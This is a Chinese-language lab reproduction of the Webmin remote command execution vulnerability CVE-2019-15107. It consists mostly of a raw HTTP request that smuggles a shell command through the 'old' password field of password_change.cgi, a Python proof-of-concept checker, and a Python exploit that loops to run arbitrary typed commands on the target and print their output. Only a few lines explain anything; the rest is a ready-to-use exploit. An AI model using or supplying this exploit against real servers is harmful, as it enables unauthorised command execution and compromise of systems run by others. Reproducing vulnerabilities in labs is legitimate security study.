Webmin 远程命令执行漏洞（CVE-2019-15107）复现

一、环境搭建

本次采用vulhub进行复现

二、复现过程

POST /password_change.cgi HTTP/1.1
Host: 192.168.252.145:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://192.168.252.145:10000/
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://192.168.252.145:10000
Connection: close
Cookie: redirect=1; testing=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

user=wwwq&pam=&expired=2&old=test|id&new1=test2&new2=test2

三、POC和EXP

引用：https://blog.csdn.net/wangqiao258/article/details/120591837

POC

import requests


requests.packages.urllib3.disable_warnings() #去除告警

url = "https://192.168.252.145:10000/password_change.cgi"



headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": f"{url}", "Content-Type": "application/x-www-form-urlencoded"}

data = {"user": "wwwq", "pam": '', "expired": "2", "old": "test|echo wwwq|md5sum", "new1": "test2", "new2": "test2"}
#  data  中执行的   echo wwwq|md5sum  命令

res = requests.post(url,  data=data,headers=headers, verify=False)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text:   #   wwwq 的 md5 值
    print("CVE-2019-15107 存在")

EXP

import requests,re


requests.packages.urllib3.disable_warnings() #去除告警

url = "https://192.168.252.145:10000/password_change.cgi"



headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": f"{url}", "Content-Type": "application/x-www-form-urlencoded"}

data = {"user": "wwwq", "pam": '', "expired": "2", "old": "test|echo wwwq|md5sum", "new1": "test2", "new2": "test2"}
#  data  中执行的   echo wwwq|md5sum  命令

res = requests.post(url,  data=data,headers=headers, verify=False)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text:   #   wwwq 的 md5 值
    print("CVE-2019-15107 存在")

    while 1 :
        data["old"] = "test|" + input("请输入你要执行的命令：")   # 输入要执行的命令且替换 data 中的执行的命令

        exp_res  = requests.post(url,  data=data,headers=headers, verify=False)
        rce_res = re.findall("incorrect([\s\S]*)</h3>",exp_res.text)  # 正则提取结果
        print(rce_res[0])